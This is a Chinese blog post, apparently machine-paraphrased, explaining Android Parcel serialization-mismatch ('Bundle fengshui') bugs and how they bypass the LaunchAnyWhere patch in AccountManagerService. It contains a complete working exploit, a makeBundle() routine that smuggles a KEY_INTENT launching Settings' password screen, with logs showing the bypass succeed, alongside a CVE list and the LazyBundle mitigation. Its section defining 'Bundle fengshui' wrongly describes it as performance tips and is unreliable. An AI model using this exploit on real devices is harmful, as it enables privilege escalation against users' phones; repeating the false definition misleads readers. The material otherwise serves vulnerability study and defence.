我正在参加「启航方案」

前语

2023年知名互联网厂商竟持续挖掘新的安卓OEM相关缝隙,在其揭露发布的App中完成对目前市场干流手机体系的缝隙进犯。

以下描绘,均来自此刻正发生在数以亿计手机上的真实案例。相关敏感信息现已过处理。

该互联网厂商在自家看似无害的 App 里,运用的第一个黑客技术手段,是运用一个近年来看似默默无闻、但实践进犯作用十分好的 Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列缝隙,完成 0day/Nday 进犯,从而绕过体系校验,获取体系级 StartAnyWhere 才能。

阅读这篇文章之前先了解一下launchAnyWhere缝隙和Bundle数据结构和反序列化:

launchAnyWhere: Activity组件权限绕过缝隙解析

Bundle数据结构和反序列化剖析

什么是Bundle风水

Bundle 风水(Bundle Fengshui)是指在 Android 运用开发中,运用 Bundle 类传递数据时,需求留意一些优化技巧,以防止在传递数据进程中呈现功能问题。

由于 Bundle 类是依据键值对存储数据的,并且支持多种数据类型的传递,因而在运用时需求留意以下几个方面:

防止在传递许多数据时运用 Bundle:当需求传递许多数据时,应该考虑运用其他更高效的传递办法,例如序列化、Parcelable 等。

尽量防止运用序列化和 Parcelable:尽管序列化和 Parcelable 能够用于传递复杂目标,但是它们的功能较低,应该尽量防止运用。

运用适宜的数据类型:在运用 Bundle 传递数据时,应该依据实践需求运用适宜的数据类型,例如运用 getInt() 而不是 getLong() 等。

合理运用 BundleAPIBundle 类提供了多个 API,例如 putXXX()getXXX() 等,应该依据实践需求运用适宜的 API

防止运用 Bundle 传递许多数据:Bundle 类在传递许多数据时或许会呈现功能问题,应该尽量防止运用。

总之,Bundle 风水是指在运用 Bundle 类传递数据时,需求留意一些优化技巧,以防止在传递数据进程中呈现功能问题。

相关文章:Introducing Android’s Safer Parcel – Black Hat

在开发人员操作Parcel目标并测验从其间读取或向其间写入数据时,或许会呈现一种过错:开发人员由于种种原因,或许是太粗心、没考虑好边界条件或对某些Java容器类型的理解有误,而导致在处理一个相同的Parcelable目标时,从Parcel中读取数据的字节数,和向其间写入数据的字节数不相等,而造成了错位现象,这便是Parcelable反序列化缝隙,例如如下的代码:

public class MyClass implements Parcelable {
    int a;
    int b;
    protected MyClass(Parcel in) {
        a = in.readInt();
    }
    @Override
    public void writeToParcel(Parcel dest, int flags) {
        dest.writeInt(a);
        dest.writeInt(b);
    }
    @Override
    public int describeContents() {
        return 0;
    }
    public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
        @Override
        public MyClass createFromParcel(Parcel in) {
            return new MyClass(in);
        }
        @Override
        public MyClass[] newArray(int size) {
            return new MyClass[size];
        }
    };
}

很明显,这位开发人员中读取的时分只读取了4个字节,而写入时分却写入了8个字节!这看起来十分愚蠢,好像不会有开发人员写出这种缝隙,然而在实践的代码中或许存在比这个比如复杂得多的情况,以致于连Google的开发人员都会犯错,乃至有些缝隙我在第一次看到代码时也没有发现其间的问题,而是用了几小时时间才恍然大悟,发现其间存在一个荫蔽的读写不匹配问题。

LaunchAnyWhere缝隙代码review

launchAnyWhere: Activity组件权限绕过缝隙解析在这篇文章中咱们只大约描绘这个问题,它是在AccountManagerService的AddAccount流程中,由system_server接收到Bundle参数后没有进行查看,直接让Settings取出里面的KEY_INTENT(intent)字段并发动界面,这是一个典型的LaunchAnyWhere缝隙,那么Google其时的修正也很简略,挑选了中system_server中收到Bundle之后测验取出其间的Intent,假如存在这个字段则查看Intent所解分出的终究调用组件是否属于原始调用者,这样就防止了调用者以Settings的身份发动任意Activity的问题。

//android-28/com/android/server/accounts/AccountManagerService.java
public class AccountManagerService
        extends IAccountManager.Stub
        implements RegisteredServicesCacheListener<AuthenticatorDescription> {
    /****部分代码省掉****/
    /** Session that will encrypt the KEY_ACCOUNT_SESSION_BUNDLE in result. */
    private abstract class StartAccountSession extends Session {
        /****部分代码省掉****/
        @Override
        public void onResult(Bundle result) {
            Bundle.setDefusable(result, true);
            mNumResults++;
            Intent intent = null;
            //测验从Bundle目标中取出KEY_INTENT
            if (result != null
                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
                //对KEY_INTENT进行校验
                if (!checkKeyIntent(
                        Binder.getCallingUid(),
                        intent)) {
                    onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
                            "invalid intent in bundle returned");
                    return;
                }
            }
            /****部分代码省掉****/
            sendResponse(response, result);
        }
    }
    private void sendResponse(IAccountManagerResponse response, Bundle result) {
        try {
            response.onResult(result);
        } catch (RemoteException e) {
            // if the caller is dead then there is no one to care about remote
            // exceptions
            if (Log.isLoggable(TAG, Log.VERBOSE)) {
                Log.v(TAG, "failure while notifying response", e);
            }
        }
    }
    private abstract class Session extends IAccountAuthenticatorResponse.Stub
            implements IBinder.DeathRecipient, ServiceConnection {
        /**
         * Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
         * security policy.
         *
         * In particular we want to make sure that the Authenticator doesn't try to trick users
         * into launching arbitrary intents on the device via by tricking to click authenticator
         * supplied entries in the system Settings app.
         */
        protected boolean checkKeyIntent(int authUid, Intent intent) {
            intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
                    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
                    | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
                    | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
            long bid = Binder.clearCallingIdentity();
            try {
                PackageManager pm = mContext.getPackageManager();
                //解分出Intent终究调用的Activity
                ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
                if (resolveInfo == null) {
                    return false;
                }
                ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
                int targetUid = targetActivityInfo.applicationInfo.uid;
                PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
                // 判断是否是导出的System Activity或Activity所属运用是否和调用者同签名,满意其间之一则允许调用
                if (!isExportedSystemActivity(targetActivityInfo)
                        && !pmi.hasSignatureCapability(
                                targetUid, authUid,
                                PackageParser.SigningDetails.CertCapabilities.AUTH)) {
                    String pkgName = targetActivityInfo.packageName;
                    String activityName = targetActivityInfo.name;
                    String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
                            + "does not share a signature with the supplying authenticator (%s).";
                    Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
                    return false;
                }
                return true;
            } finally {
                Binder.restoreCallingIdentity(bid);
            }
        }
    }
}

Settings在收到Intent之后调用startActivityForResultAsUser进行发送:

androidxref.com/4.4_r1/xref…

public class AddAccountSettings extends Activity {
    /****部分代码省掉****/
    private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() {
        @Override
        public void run(AccountManagerFuture<Bundle> future) {
            boolean done = true;
            try {
                Bundle bundle = future.getResult();
                //bundle.keySet();
                //取得KEY_INTENT
                Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT);
                if (intent != null) {
                    done = false;
                    Bundle addAccountOptions = new Bundle();
                    addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
                    addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS,
                            Utils.hasMultipleUsers(AddAccountSettings.this));
                    addAccountOptions.putParcelable(EXTRA_USER, mUserHandle);
                    intent.putExtras(addAccountOptions);
                    //发动KEY_INTENT代表的Activity
                    startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle);
                } else {
                    setResult(RESULT_OK);
                    if (mPendingIntent != null) {
                        mPendingIntent.cancel();
                        mPendingIntent = null;
                    }
                }
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle);
            } catch (OperationCanceledException e) {
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled");
            } catch (IOException e) {
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
            } catch (AuthenticatorException e) {
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
            } finally {
                if (done) {
                    finish();
                }
            }
        }
    };
}

这个补丁在其时是没什么问题,但是比及2017年,有海外的研究人员在一份歹意样本中发现,能够运用Parcelable反序列化绕过这个补丁,由于Google的补丁是在system_server中查看Intent,并且又通过AIDL传给Settings之后发动界面,这其间跨过了进程边界,也就涉及到一次序列化和反序列化的进程,那么咱们假如通过Parcelable反序列化缝隙的字节错位,通过精确的布局,使得system_server在查看Intent时找不到这个Intent,而在错位后Settings却刚好能够找到,这样就能够完成补丁的绕过并再次完成LaunchAnyWhere,研究人员将发现的这种缝隙运用办法命名为Bundle mismatch

Bundle mismatch,如何运用Parcelable反序列化缝隙

了解了Android结构对Bundle类型的处理,现在咱们需求重视如何开发一个Bundle mismatch运用,咱们仍旧以上面的缝隙为例,再回忆一下咱们的示例代码:

public class MyClass implements Parcelable {
    int a;
    int b;
    protected MyClass(Parcel in) {
        a = in.readInt();
    }
    @Override
    public void writeToParcel(Parcel dest, int flags) {
        dest.writeInt(a);
        dest.writeInt(b);
    }
    @Override
    public int describeContents() {
        return 0;
    }
    public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
        @Override
        public MyClass createFromParcel(Parcel in) {
            return new MyClass(in);
        }
        @Override
        public MyClass[] newArray(int size) {
            return new MyClass[size];
        }
    };
}

在本例中读取是4个字节,而写入是8个字节,那么咱们考虑后边4个字节是整个运用的中心,按照上文中描绘的Bundle格式解析逻辑,当序列化时多写入一个0之后,下一次读完了4字节之后,这个0会何去何从呢?

答案是他必定会作为下一个Bundle keykey string存在,而咱们知道readString的最初是先读取一个int作为字符串的长度。所以问题就有了答案,咱们后边这个0就会被认为是一个字符串的长度,并且是一个0长度的字符串,留意不是null字符串,由于null字符串的长度字段为-1

现在咱们知道,除了前面this.b多写入的0之外,下一个4字节会作为padding存在,那么后边咱们如何持续布局呢?这儿面需求再填充一个类型字段,咱们这儿挑选的是VAL_BYTEARRAY,也就是13,后续还需求布局字节数组的长度和内容,这个就要结合错位前的逻辑进行布局了,通过精心调试之后,我给出的答案如下(不包含错位写入的0):

结构歹意的Bundle

public Bundle makeBundle() {
    Bundle bundle = new Bundle();
    Parcel bndlData = Parcel.obtain();
    Parcel exp = Parcel.obtain();
    exp.writeInt(3); // bundle key count
    //byte[] key1Name = {0x00};//第一个元素的key咱们运用\x00,其hashcode为0,咱们只要布局后续key的hashcode都大于0即可
    //String mismatch = new String(key1Name);
    String mismatch = "mismatch";//后续元素的hashcode有必要大于mismatch的hashcode
    exp.writeString(mismatch);
    exp.writeInt(4); // VAL_PARCELABLE
    exp.writeString("com.tzx.launchanywhere.MyClass"); // class name
    // 这儿按照错位前的逻辑开发,错位后在这个4字节之后会多出一个4字节的0
    exp.writeInt(0);
    /**********************歹意结构的内容start*********************************/
    byte[] key2key = {13, 0, 8};
    String key2Name = new String(key2key);
    // 在错位之后,多出的0作为了新的key的字符串长度,并且writeString带着的那个长度=3会正常填充上padding那个位置。使得后续读取的类型为VAL_BYTEARRAY(13),前面的0用于补上4字节的高位。而8则是字节数组的长度了。
    //简略来说就是13和0这俩个字符的4个字节构成13这个数字,字符8和终止符这两个字符构成8这个数字。
    exp.writeString(key2Name);//全体作为长度为3的key string
    // 在错位之后,这儿的13和下面的值是作为8字节的字节数组的一部分
    exp.writeInt(13);//这儿的13则也是奇妙地被解析成了VAL_BYTEARRAY(13)
    int intentSizeOffset = exp.dataPosition();
    // 在错位之后上面的13和这儿的值就会作为8字节的字节数组,后续就会正常解分出intent元素了,就成功绕过补丁
    int evilObject = -1;//这儿应为字节数组的长度,咱们填写为intent元素所占用的长度,即可将intent元素奇妙地躲藏到字节数组中(此值被Intent长度覆盖)
    exp.writeInt(evilObject);
    int intentStartOffset = exp.dataPosition();
    /**********************歹意结构的内容end*********************************/
    /**********************intent内容start*********************************/
    exp.writeString(AccountManager.KEY_INTENT);
    exp.writeInt(4);// VAL_PARCELABLE
    //能够直接结构Intent放在exp中,此处为了显示结构进程,将Intent字段逐一放入exp中
    //Intent intent = new Intent(Intent.ACTION_RUN);
    //intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    //intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.password.ChooseLockPassword"));
    //exp.writeParcelable(intent, 0);
    exp.writeString("android.content.Intent");// name of Class Loader
    exp.writeString(Intent.ACTION_RUN); // Intent Action
    Uri.writeToParcel(exp, null); // Uri is null
    exp.writeString(null); // mType is null
    //exp.writeString(null); // mIdentifier is null android28没有该字段
    exp.writeInt(Intent.FLAG_ACTIVITY_NEW_TASK); // Flags
    exp.writeString(null); // mPackage is null
    exp.writeString("com.android.settings");
    exp.writeString("com.android.settings.password.ChooseLockPassword");
    exp.writeInt(0); //mSourceBounds = null
    exp.writeInt(0); // mCategories = null
    exp.writeInt(0); // mSelector = null
    exp.writeInt(0); // mClipData = null
    exp.writeInt(-2); // mContentUserHint
    exp.writeBundle(null);
    /**********************intent内容end*********************************/
    int intentEndOffset = exp.dataPosition();
    //将指针设置在intent数据之前,然后写入intent的大小
    exp.setDataPosition(intentSizeOffset);
    int intentSize = intentEndOffset - intentStartOffset;
    exp.writeInt(intentSize);
    Log.d("tanzhenxing33", "intentSize=" + intentSize);
    //写完之后将指针重置回本来的位置
    exp.setDataPosition(intentEndOffset);
    // 最终一个元素在错位之前会被当成最终一个元素,错位之后就会被忽略,由于前面现已读取的元素数现已满意
    String key3Name = "Padding-Key";
    //String key3Name = "padding";//hashcode排序失败
    exp.writeString(key3Name);
    exp.writeInt(-1);//VAL_NULL
    int length = exp.dataSize();
    bndlData.writeInt(length);
    bndlData.writeInt(0x4c444E42);//魔数
    bndlData.appendFrom(exp, 0, length);//写入数据总长度
    bndlData.setDataPosition(0);
    Log.d("tanzhenxing33", "length=" + length);
    bundle.readFromParcel(bndlData);
    return bundle;
}

咱们将以上代码的到的Bundle进行一次序列化和反序列化查看里面的keyValue类型: main:是刚结构出BundleActivity; TestBundleMismatchResultActivity:是进行一次内核传输的到达的第二个Activity;

D/tanzhenxing33: intentSize=324
D/tanzhenxing33: length=480
D/tanzhenxing33: file =/storage/emulated/0/Android/data/com.tzx.launchanywhere/cache/obj.pcl
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: main key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: main key = � [B
D/tanzhenxing33: main key = Padding-Key NULL
D/tanzhenxing33: MyClass:writeToParcel
D/tanzhenxing33: onCreate:TestBundleMismatchResultActivity
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: TestBundleMismatchResultActivity key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: TestBundleMismatchResultActivity key = intent android.content.Intent
D/tanzhenxing33: TestBundleMismatchResultActivity key =  [B
D/tanzhenxing33: result != null,Intent { act=android.intent.action.RUN flg=0x10000000 cmp=com.android.settings/.password.ChooseLockPassword }

能够看到刚结构出来的Bunlde

  • mismatch对应的key,其Valuecom.tzx.launchanywhere. MyClass 类型;
  • 对应的key,其ValueByte数组;
  • Padding-Key对应的key,其ValueNULL

进过一次序列化和反序列化的Bundle:

  • mismatch对应的key,其Valuecom.tzx.launchanywhere. MyClass 类型;
  • intent对应的key,其Valueandroid.content.Intent类型;
  • 空字符串对应的key,其ValueByte数组;

Bundle二进制数据剖析

其实以上描绘的内容,咱们通过Bundle二进制数据的变化愈加简单理解。

在看二进制数据之前,先说了解一下String的4字节对齐

String的4字节对齐

在计算机中,由于硬件存储结构等原因,许多数据类型的内存布局都需求进行对齐,这也包含字符串类型。 在字符串中,一般是以字节为单位进行存储的,为了完成最优的内存拜访功能,一般需求将字符串的每个字符存储到 4 字节的内存地址上。 因而,当字符串的长度不是 4 的倍数时,会在字符串的结束增加额外的空字节来进行补齐,以满意 4 字节对齐的要求。例如,假如字符串的长度为 5,则会在其结束增加一个空字节,使其长度变为 8,这样就能够满意 4 字节对齐的要求。 需求留意的是,这种对齐操作会对内存运用量产生必定的影响,由于对于许多短字符串而言,它们实践运用的内存或许会比其长度更长。因而,在处理许多字符串数据时,需求留意内存的运用情况,防止呈现内存不足等问题。

Parcel中的数据写入文件

咱们将Parcel中的数据写入文件进行查看:

private void writeByte(Parcel bndlData) {
    try {
        byte[] raw = bndlData.marshall();
        File file = new File(getExternalCacheDir(), "obj.pcl");
        if (file.exists()) {
            file.delete();
        } else {
            file.createNewFile();
        }
        FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
        fos.write(raw);
        fos.close();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

查看二进制文件

写出的文件是一个二进制文件,咱们能够通过od命令查看:

od -tx1 obj.pcl

也能够通过hexfiend东西查看,下载链接为hexfiend.com/。

或者直接通过vs cdoe装置hex相关插件查看。

数据剖析结果

结构的歹意Bundle数据剖析结果

Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞

结构的歹意Bundle通过一次序列化和反序列化的数据剖析

Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞

对比第一张Bundle数据剖析图,咱们只需求重视红框中的数据剖析结果即可:

  1. 通过一次序列化MyClass多写了一个int的0;
  2. 这个0会被作为第二个key的长度;
  3. 之前writeString的终止符和字节对齐的4个字节,会被作为长度为0key的名称;
  4. 之前写入的{13, 0, 8}的前4个字节会作为长度为0key的数据类型为(VAL_BYTEARRAY=13),后边的8和字节对齐的4个字节作为ByteArray的长度,其值等于8;
  5. 之前写入的(VAL_BYTEARRAY=13)和Intent的长度这8个字节作为长度为0keyValue
  6. 接下来读取key的长度为6,key的名称为intent;
  7. 最终一个元素在错位之后就会被忽略,由于前面现已读取的元素数现已满意;

缝隙修正

上述缝隙的修正好像很直观,只需求把 MyClass 类中不匹配的读写修正就行了。但实践上这类缝隙并不是个例,历史上由于代码编写人员的粗枝大叶,曾经呈现过许多由于读写不匹配导致的提权缝隙,包含但不限于:

CVE-2017-0806 GateKeeperResponse
CVE-2017-0664 AccessibilityNodelnfo
CVE-2017-13288 PeriodicAdvertisingReport
CVE-2017-13289 ParcelableRttResults
CVE-2017-13286 OutputConfiguration
CVE-2017-13287 VerifyCredentialResponse
CVE-2017-13310 ViewPager’s SavedState
CVE-2017-13315 DcParamObject
CVE-2017-13312 ParcelableCasData
CVE-2017-13311 ProcessStats
CVE-2018-9431 OSUInfo
CVE-2018-9471 NanoAppFilter
CVE-2018-9474 MediaPlayerTrackInfo
CVE-2018-9522 StatsLogEventWrapper
CVE-2018-9523 Parcel.wnteMapInternal0
CVE-2021-0748 ParsingPackagelmpl
CVE-2021-0928 OutputConfiguration
CVE-2021-0685 ParsedIntentInfol
CVE-2021-0921 ParsingPackagelmpl
CVE-2021-0970 GpsNavigationMessage
CVE-2021-39676 AndroidFuture
CVE-2022-20135 GateKeeperResponse
…

另一个修正思路是修正 TOCTOU 缝隙本身,即确保查看和运用的反序列化目标是相同的,但这种修正方案也是治标不治本,相同或许会被进犯者找到其他的进犯路径并绕过。

因而,为了彻底解决这类层出不穷的问题,Google 提出了一种简略粗暴的缓释方案,即直接从 Bundle 类中下手。尽管 Bundle 本身是 ArrayMap 结构,但在反序列化时分即使只需求获取其间一个 key,也需求把整个 Bundle 反序列化一遍。这其间的主要原因在于序列化数据中每个元素的大小是不固定的,且由元素的类型决议,假如不解析完前面的一切数据,就不知道目标元素在什么地方。

为此在 2021 年左右,AOSP 中针对 Bundle 提交了一个称为 LazyBundle(9ca6a5)patch。其主要思想为针对一些长度不固定的自定义类型,比如 ParcelableSerializableList 等结构或容器,会在序列化时将对应数据的大小增加到头部。这样在反序列化时遇到这些类型的数据,能够仅通过查看头部去挑选性跳过这些元素的解析,而此时 sMap 中对应元素的值会设置为 LazyValue,在实践用到这些值的时分再去对特定数据进行反序列化。

这个 patch 能够在必定程度上缓释针对 Bundle 风水的进犯,并且在提升体系健壮性也有所助益,由于即使对于损坏的 Parcel 数据,假如接收方没有运用到对应的字段,就能够防止异常的发生。对于之前的 Bundle 解析策略,哪怕只调用了 size 办法,也会触发一切元素的解析从而导致异常。 在这个 patchunparcel 还增加了一个 boolean 参数 itemwise,假如为 true 则按照传统办法解析每个元素,否则就会跳过 LazyValue 的解析。

有爱好的能够阅读该patch对应提交记录,LazyBundle(9ca6a5)

Android13源码中也能够看到对应的修改:android13中的BaseBundle.java

//android-33/android/os/Parcel.java
public final class Parcel {
  /****部分代码省掉****/
  @Nullable
  public Object readLazyValue(@Nullable ClassLoader loader) {
      int start = dataPosition();
      int type = readInt();
      if (isLengthPrefixed(type)) {
          int objectLength = readInt();
          int end = MathUtils.addOrThrow(dataPosition(), objectLength);
          int valueLength = end - start;
          setDataPosition(end);
          return new LazyValue(this, start, valueLength, type, loader);
      } else {
          return readValue(type, loader, /* clazz */ null);
      }
  }
  public final void writeValue(@Nullable Object v) {
    if (v instanceof LazyValue) {
        LazyValue value = (LazyValue) v;
        value.writeToParcel(this);
        return;
    }
    int type = getValueType(v);
    writeInt(type);
    if (isLengthPrefixed(type)) {
        // Length
        int length = dataPosition();
        writeInt(-1); // Placeholder
        // Object
        int start = dataPosition();
        writeValue(type, v);
        int end = dataPosition();
        // Backpatch length
        setDataPosition(length);
        writeInt(end - start);
        setDataPosition(end);
    } else {
        writeValue(type, v);
    }
  }
  private boolean isLengthPrefixed(int type) {
    // In general, we want custom types and containers of custom types to be length-prefixed,
    // this allows clients (eg. Bundle) to skip their content during deserialization. The
    // exception to this is Bundle, since Bundle is already length-prefixed and already copies
    // the correspondent section of the parcel internally.
    switch (type) {
        case VAL_MAP:
        case VAL_PARCELABLE:
        case VAL_LIST:
        case VAL_SPARSEARRAY:
        case VAL_PARCELABLEARRAY:
        case VAL_OBJECTARRAY:
        case VAL_SERIALIZABLE:
            return true;
        default:
            return false;
    }
  }
}

LaunchAnyWhere代码地址

文章到这儿就悉数讲述完啦,若有其他需求沟通的能够留言哦~!

参阅文章:

再谈Parcelable反序列化缝隙和Bundle mismatch

Bundle风水——Android序列化与反序列化不匹配缝隙详解

Android 反序列化缝隙攻防史话